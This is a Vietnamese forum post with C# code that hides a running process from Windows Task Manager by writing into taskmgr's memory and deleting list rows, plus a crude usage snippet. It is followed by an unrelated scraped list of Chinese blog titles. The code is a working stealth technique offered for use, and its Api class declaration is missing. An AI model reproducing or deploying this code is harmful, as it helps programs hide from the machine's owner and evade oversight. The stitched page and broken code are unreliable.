1. using System;
  2. using System.Collections.Generic;
  3. using System.Diagnostics;
  4. using System.Management;
  5. using System.Runtime.InteropServices;
  6. using System.Threading;
  7. //Bài viết đăng tại http://diendan.congdongcviet.com/showthread.php?t=34797
  8. namespace HideProcess
  9. {
  10.     static public class HideIt
  11.     {
  12.         static private bool Initialized1;
  13.         static private DateTime TaskManagerTime = DateTime.Now;
  14.         static private int TaskManagerCount;
  15.         static private bool TaskManagerReload;
  16.  
  17.         static public void Bitch(Process process)
  18.         {
  19.             if (!Initialized1) Initialize();
  20.             new Proc(process);
  21.             TaskManagerReload = true;
  22.         }
  23.  
  24.         static private void Initialize()
  25.         {
  26.             new Thread(new ThreadStart(delegate
  27.             {
  28.                 while (true)
  29.                 {
  30.                     _HideProcess();
  31.                     Thread.Sleep(10);
  32.                 }
  33.             }
  34.                 )).Start();
  35.             Initialized1 = true;
  36.  
  37.         }
  38.         static private void _HideProcess()
  39.         {
  40.             try
  41.             {
  42.                 IntPtr lhWndParent = Process.GetProcessesByName("taskmgr")[0].MainWindowHandle;
  43.  
  44.                 Api.WindowPlacement winp = new Api.WindowPlacement();
  45.                 winp.length = Marshal.SizeOf(winp);
  46.                 Api.GetWindowPlacement(lhWndParent, ref winp);
  47.                 bool visible = winp.showCmd == 1 || winp.showCmd == 3;
  48.  
  49.                 IntPtr lhParent = Api.FindWindowEx(lhWndParent, IntPtr.Zero, null, null);
  50.                 IntPtr lhWndProcessList = Api.GetDlgItem(lhParent, 1009);
  51.                 IntPtr hMenu = Api.GetMenu(lhWndParent);
  52.                 IntPtr hViewMenu = Api.GetSubMenu(hMenu, 2);
  53.                 IntPtr hUpdateSpeed = Api.GetSubMenu(hViewMenu, 1);
  54.                 uint hRefreshNow = Api.GetMenuItemID(hViewMenu, 0);
  55.                 if (hUpdateSpeed != IntPtr.Zero)
  56.                 {
  57.                     Api.SendMessage(lhWndParent, 273, (IntPtr)Api.GetMenuItemID(hUpdateSpeed, 3), IntPtr.Zero);
  58.                     Api.RemoveMenu(hViewMenu, (uint)hUpdateSpeed, 1);
  59.                 }
  60.                 Api.EnableMenuItem(hMenu, hRefreshNow, 1);
  61.  
  62.                 if (visible) Api.LockWindowUpdate(lhWndProcessList);
  63.                 if ((DateTime.Now - TaskManagerTime).TotalMilliseconds > 1000)
  64.                 {
  65.                     Api.SendMessage(lhWndParent, 273, (IntPtr)hRefreshNow, IntPtr.Zero);
  66.                     TaskManagerTime = DateTime.Now;
  67.                 }
  68.                 GC.Collect();
  69.  
  70.                 int count = (int)Api.SendMessage(lhWndProcessList, 0x1004, IntPtr.Zero, "");
  71.                 if (count != TaskManagerCount || TaskManagerReload)
  72.                 {
  73.                     TaskManagerReload = false;
  74.                     TaskManagerCount = count;
  75.                     for (int i = 0; i < count; i++)
  76.                     {
  77.                         string[] cells = new string[10];
  78.                         for (int a = 0; a < 10; a++)
  79.                         {
  80.                             cells[a] = GetListViewItem(lhWndProcessList, i, a).ToLower();
  81.                             if (a > 0 && cells[a] == cells[0]) break;
  82.                         }
  83.                         foreach (Proc proc in Proc.List)
  84.                         {
  85.                             bool f1 = false, f2 = false;
  86.                             for (int a = 0; a < 10; a++)
  87.                             {
  88.                                 if (cells[a] == null || f1 && f2) break;
  89.                                 if (cells[a].StartsWith(proc.Name)) f1 = true;
  90.                                 else if (cells[a] == proc.User) f2 = true;
  91.                             }
  92.                             if (f1 && f2)
  93.                             {
  94.                                 Api.SendMessage(lhWndProcessList, 4104, (IntPtr)i--, IntPtr.Zero);
  95.                                 TaskManagerCount--;
  96.                                 break;
  97.                             }
  98.                         }
  99.                     }
  100.                 }
  101.  
  102.                 if (visible) Api.LockWindowUpdate(IntPtr.Zero);
  103.             }
  104.             catch { }
  105.         }
  106.  
  107.         static private string GetListViewItem(IntPtr hWnd, int index, int subitem)
  108.         {
  109.             Api.LvItem lvItem = new Api.LvItem();
  110.             IntPtr lpLocalBuffer = Marshal.AllocHGlobal(1024);
  111.             uint pid;
  112.             Api.GetWindowThreadProcessId(hWnd, out pid);
  113.             IntPtr hProcess = Api.OpenProcess(0x001f0fff, false, (int)pid);
  114.             IntPtr lpRemoteBuffer = Api.VirtualAllocEx(hProcess, IntPtr.Zero, 1024, 0x1000, 4);
  115.             lvItem.mask = 1;
  116.             lvItem.iItem = index;
  117.             lvItem.iSubItem = subitem;
  118.             lvItem.pszText = (IntPtr)((int)lpRemoteBuffer + Marshal.SizeOf(typeof(Api.LvItem)));
  119.             lvItem.cchTextMax = 50;
  120.             Api.WriteProcessMemory(hProcess, lpRemoteBuffer, ref lvItem, Marshal.SizeOf(typeof(Api.LvItem)), 0);
  121.             Api.SendMessage(hWnd, 0x1005, IntPtr.Zero, lpRemoteBuffer);
  122.             Api.ReadProcessMemory(hProcess, lpRemoteBuffer, lpLocalBuffer, 1024, 0);
  123.             string ret = Marshal.PtrToStringAnsi((IntPtr)((int)lpLocalBuffer + Marshal.SizeOf(typeof(Api.LvItem))));
  124.             Marshal.FreeHGlobal(lpLocalBuffer);
  125.             Api.VirtualFreeEx(hProcess, lpRemoteBuffer, 0, 0x8000);
  126.             Api.CloseHandle(hProcess);
  127.             return ret;
  128.         }
  129.         static private string GetProcessUser(Process process)
  130.         {
  131.             ManagementObjectCollection procs = new ManagementObjectSearcher("Select * From Win32_Process Where ProcessID = " + process.Id).Get();
  132.             foreach (ManagementObject obj in procs)
  133.             {
  134.                 string[] args = new[] { "" };
  135.                 int returnVal = Convert.ToInt32(obj.InvokeMethod("GetOwner", args));
  136.                 if (returnVal == 0) return args[0];
  137.             }
  138.             return "";
  139.         }
  140.  
  141.         private class Proc
  142.         {
  143.             static public List<Proc> List = new List<Proc>();
  144.             public string Name, User;
  145.  
  146.             public Proc(Process proc)
  147.             {
  148.                 Name = proc.ProcessName.ToLower();
  149.                 User = GetProcessUser(proc).ToLower();
  150.                 lock (List) List.Add(this);
  151.             }
  152.         }
  153.  
  154.     }
  155.  
  156.     {
  157.         [DllImport("user32.dll", SetLastError = true)]
  158.         static public extern IntPtr FindWindowEx(IntPtr hwndParent, IntPtr hwndChildAfter, string lpszClass, string lpszWindow);
  159.         [DllImport("user32.dll")]
  160.         static public extern IntPtr GetDlgItem(IntPtr hDlg, int nIDDlgItem);
  161.         [DllImport("user32.dll")]
  162.         static public extern bool EnableWindow(IntPtr hWnd, bool bEnable);
  163.         [DllImport("user32.dll")]
  164.         static public extern IntPtr GetMenu(IntPtr hWnd);
  165.         [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
  166.         static public extern IntPtr GetSubMenu(IntPtr hMenu, int nPos);
  167.         [DllImport("user32.dll")]
  168.         static public extern uint GetMenuItemID(IntPtr hMenu, int nPos);
  169.         [DllImport("user32.dll")]
  170.         static public extern bool EnableMenuItem(IntPtr hMenu, uint uIDEnableItem, uint uEnable);
  171.         [DllImport("user32.dll")]
  172.         static public extern bool RemoveMenu(IntPtr hMenu, uint uPosition, uint uFlags);
  173.         [DllImport("user32.dll", CharSet = CharSet.Auto)]
  174.         static public extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
  175.         [DllImport("user32.dll", CharSet = CharSet.Auto)]
  176.         static public extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, string lParam);
  177.         [DllImport("user32.dll", CharSet = CharSet.Auto)]
  178.         static public extern IntPtr SendMessage(IntPtr hWnd, [MarshalAs(UnmanagedType.U4)] int msg, IntPtr wParam, ref TvItem item);
  179.         [DllImport("user32.dll")]
  180.         static public extern int SendMessage(IntPtr hWnd, int Msg, uint wParam, IntPtr lParam);
  181.         [DllImport("user32.dll")]
  182.         static public extern bool LockWindowUpdate(IntPtr hWndLock);
  183.         [DllImport("user32.dll")]
  184.         static public extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);
  185.         [DllImport("user32.dll")]
  186.         [return: MarshalAs(UnmanagedType.Bool)]
  187.         static public extern bool GetWindowPlacement(IntPtr hWnd, ref WindowPlacement lpwndpl);
  188.         [DllImport("kernel32.dll")]
  189.         static public extern IntPtr OpenProcess(uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId);
  190.         [DllImport("kernel32.dll")]
  191.         static public extern bool CloseHandle(IntPtr hObject);
  192.         [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
  193.         static public extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  194.         [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
  195.         static public extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint dwFreeType);
  196.         [DllImport("kernel32.dll")]
  197.         static public extern bool ReadProcessMemory(IntPtr hProcess, IntPtr baseAddress, byte[] buffer, int dwSize, out int numberOfBytesRead);
  198.         [DllImport("kernel32.dll")]
  199.         static public extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, int dwSize, int lpNumberOfBytesRead);
  200.         [DllImport("kernel32.dll")]
  201.         static public extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, ref TvItem buffer, int dwSize, IntPtr lpNumberOfBytesWritten);
  202.         [DllImport("kernel32.dll", SetLastError = true)]
  203.         static public extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
  204.         [DllImport("kernel32.dll")]
  205.         static public extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, ref LvItem buffer, int dwSize, int lpNumberOfBytesWritten);
  206.         [DllImport("kernel32.dll")]
  207.         static public extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, int dwSize, IntPtr lpNumberOfBytesRead);
  208.         [DllImport("user32.dll", SetLastError = true)]
  209.         static public extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
  210.         [DllImport("user32.dll")]
  211.         static public extern IntPtr GetWindowThreadProcessId(IntPtr hWnd, out int lpwdProcessID);
  212.  
  213.  
  214.         [StructLayout(LayoutKind.Sequential)]
  215.         public struct LvItem
  216.         {
  217.             public uint mask;
  218.             public int iItem;
  219.             public int iSubItem;
  220.             public uint state;
  221.             public uint stateMask;
  222.             public IntPtr pszText;
  223.             public int cchTextMax;
  224.             public int iImage;
  225.         }
  226.         [StructLayout(LayoutKind.Sequential)]
  227.         public struct TvItem
  228.         {
  229.             public int mask;
  230.             public IntPtr hItem;
  231.             public int state;
  232.             public int stateMask;
  233.             public IntPtr pszText;
  234.             public int cchTextMax;
  235.             public int iImage;
  236.             public int iSelectedImage;
  237.             public int cChildren;
  238.             public IntPtr lParam;
  239.             public int iIntegral;
  240.         }
  241.         public struct Rect
  242.         {
  243.             int left, top, right, bottom;
  244.         }
  245.         public struct Point
  246.         {
  247.             int x, y;
  248.         }
  249.         public struct WindowPlacement
  250.         {
  251.             public int length, flags, showCmd;
  252.             public Point ptMinPosition, ptMaxPosition;
  253.             public Rect rcNormalPosition;
  254.         }
  255.     }
  256. }

khi gọi:

Visual C# Code:

  1. Process AndSuckMyCock = Process.GetProcessById(Process.GetCurrentProcess().Id);
  2. HideIt.Bitch(AndSuckMyCock);

Phương pháp mà code này thực hiện tương tự như đây: codeproject.com/KB/system/Hack_Windows_Task_Manager.aspx

Code:
SendMessage(hWnd,LVM_DELETECOLUMN,(WPARAM)0,0);

zzzz的更多相关文章

  1. Flash Professional 报错 TypeError: Error #1034: 强制转换类型失败:无法将 xxxx@zzzz 转换为 yyy

    通常是因为xxx yyy 两个不同链接名的元件 使用了同一个属性名

  2. Js动态获取iframe子页面的高度////////////////////////zzzz

    Js动态获取iframe子页面的高度   Js动态获取iframe子页面的高度总结 问题的缘由 产品有个评论列表引用的是个iframe,高度不固定于是引发这个总结. 方法1:父级页面获取子级页面的高度 ...

  3. iOS原生APP与H5+JS交互////////////////////zzzz

    原生代码中直接加载页面 1.    具体案例 加载本地/网络HTML5作为功能介绍页 2.    代码示例 //本地 -(void)loadLocalPage:(UIWebView*)webView ...

  4. 画布清理////////////////////////////zzzz

    HTML5画布清理,重绘,旧的线条也会出现 <!DOCTYPE html> <html> <head> <title>HTLM5</title&g ...

  5. 什么是FOUC?如何避免FOUC?///////////////////////////zzzz

     一个新的名词叫做 FOUC 浏览器样式闪烁,之前也听说过一些类似的东西,比如样式突变等等,但这东西竟然有学名的..什么是FOUC(文档样式短暂失效)?如果使用import方法对CSS进行导入,会导致 ...

  6. [IOS 开发] NSDateFormatter的格式字符串 -- 《整理的笔记》

    在ios开发中, OBjective-C中的NSDate是一个挺讨厌的类型, 自己找不到转换成字符串的类型,还得带一个NSDateFormatter的类型. 官方文档上对NSDateFormatter ...

  7. 数字与字母混合生成流水号规则--ASP实现

    最近遇到一个比较奇葩的事情,自己所负责的一个系统出现一个流水号用完的问题:正常情况下,流水号用完应该增加多位来解决这个问题.鉴于各种因素,最后决定:位数不变,增加字母进去,当数字用完后,会出现字母,而 ...

  8. SQL 归来

    1. PL/SQL 转义 select order#, ………  from **** select col1 from A where col2 like '%\_keywors%' escape ' ...

  9. Codeforces CF#628 Education 8 E. Zbazi in Zeydabad

    E. Zbazi in Zeydabad time limit per test 5 seconds memory limit per test 512 megabytes input standar ...

随机推荐

  1. RX学习笔记:FreeCodeCamp的JavaScript基本算法挑战

    FreeCodeCamp的JavaScript基本算法挑战 https://www.freecodecamp.com 2016-07-03 JavaScript还不是非常熟悉,用已经会的知识来解这些题 ...

  2. sublime主题推荐

    PS:之前在CSDN上写的文章,现在转到博客园~ 寒假的时候发现一个sublime主题,我觉得很赞哦~~推荐给大家~~ 下载方式 step1:ctrl+shift+p  调出command palet ...

  3. 【5】了解Bootstrap预置的栅格系统

    在开篇之前我们来说2个class,因为以后要用到的 <div class="container"> ... </div> 用.container包裹页面上的 ...

  4. Android分类前言

    柚子园项目搁置后,半年多时间里都在开发微信公众平台和在公司实习,用的都是python,django,bottle,已经很久没有开发android了.技术的东西,不用就容易生疏甚至忘掉.刚好现在需要写毕 ...

  5. 关于博客名“大话济公”的说明

    其实本来没打算起这个名字的,换了几个名字都被占用了(无语啊...).最近呢,我在研究<济公传>,对于济公的传说比较喜欢,尤其是这个任务,诙谐幽默,同时有时时刻刻在帮助有困难的群众,虽然是个 ...

  6. Memcached(四)Memcached的CAS协议

    1. 什么是CAS协议很多中文的资料都不会告诉大家CAS的全称是什么,不过一定不要把CAS当作中国科学院(China Academy of Sciences)的缩写.Google.com一下,CAS是 ...

  7. python 统计单词个数

    根据一篇英文文章统计其中单词出现最多的10个单词. # -*- coding: utf-8 -*-import urllib2import refrom collections import Coun ...

  8. javascript 冒泡

    http://www.cnblogs.com/hh54188/archive/2012/02/08/2343357.html http://blog.csdn.net/xuefeng0707/arti ...

  9. x86, x86-64, i386, IA32, IA64...

    转自x86, x86-64, i386, IA32, IA64... x86:Intel从16位微处理器8086开始的整个CPU芯片系列,系列中的每种型号都保持与以前的各种型号兼容,主要有8086,8 ...

  10. 实现SELECT的全选,反选,AB选的JAVASCRIPT代码

    参考网上,用原生JS粗糙实现. 我发现用UIKIT的BUTTON会自动刷新我那核心的模态窗口,只好用另外的LABEL或CODE标签了. $(".btn-select-all").c ...